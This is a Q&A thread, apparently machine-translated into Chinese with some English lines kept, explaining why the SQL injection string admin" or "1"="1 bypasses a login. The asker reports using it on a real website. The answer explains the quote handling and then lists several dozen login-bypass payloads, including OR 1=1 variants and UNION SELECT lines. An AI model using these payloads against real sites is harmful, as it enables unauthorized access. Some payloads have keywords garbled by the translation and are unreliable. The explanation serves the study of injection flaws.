admin”或“1”=“1”是什么意思?

What is the meaning of admin" or "1"="1?

我 运行 admin" or "1"="1 在一个网站上我有 运行 SQL 注入的完全权限。该站点配置错误,让我直接登录。

我不明白的是,为什么最后一个数字 1 后不需要双引号?

如果 php 是这样工作的:username="admin" and password=md5("password"),那么 admin" 之后的引号会关闭第一个引号。

"1" is closed, but I don't understand "1

谁能帮我解释一下?

提前致谢

想想应用程序中的 SQL 查询可能是什么。

如您所说,可能类似于 select * from users where username="<<username>>" and password=md5("<<password>>")

注入 <<username>><<password>> 后,您仍然需要有一个有效的 SQL 查询,否则应用程序将因错误而失败。

使用 <<username>> 进行注入,admin 后的引号关闭用户名字符串,or "1"="1 使查询如下:

select * from users where username="admin" or "1"="1" and password=md5("<<password>>")

这是有效的,并且由于 and 的优先级高于 or,它会获得一个名为 "admin" 的用户或具有您在其他字段中输入的密码的用户- 没关系。

如果在注入字符串的末尾有一个引号,查询将是 select * from users where username="admin" or "1"="1"" and password=md5("<<password>>"),这是无效的 SQL,因为有两个引号(很容易看出,因为引号的数量是奇数)。

最终 1 之后的双引号将由应用程序中的 SQL 查询关闭。

SQL 注入模式 或 1=1

或1=1--

或1=1#

或1=1/*

管理员' --

管理员'#

admin'/*

admin' 或 '1'='1

admin' 或 '1'='1'--

管理员'或'1'='1'#

admin' 或 '1'='1'/*

admin'or 1=1 or ''='

admin' 或 1=1

admin' 或 1=1--

admin' 或 1=1#

admin' 或 1=1/*

admin') 或 ('1'='1

admin') 或 ('1'='1'--

admin') 或 ('1'='1'#

admin') 或 ('1'='1'/*

admin') 或 '1'='1

admin') 或 '1'='1'--

admin') 或 '1'='1'#

admin') 或 '1'='1'/*

1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

管理员”--

管理员" #

admin"/*

admin" 或 "1"="1

admin" 或 "1"="1"--

admin" 或 "1"="1"#

admin" 或 "1"="1"/*

admin"or 1=1 or ""="

管理员" 或 1=1

admin" 或 1=1--

admin" 或 1=1#

admin" 或 1=1/*

admin") 或 ("1"="1

admin") 或 ("1"="1"--

admin") 或 ("1"="1"#

admin") 或 ("1"="1"/*

admin") 或 "1"="1

admin") 或 "1"="1"--

admin") 或 "1"="1"#

admin") 或 "1"="1"/*

1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

希望对您有所帮助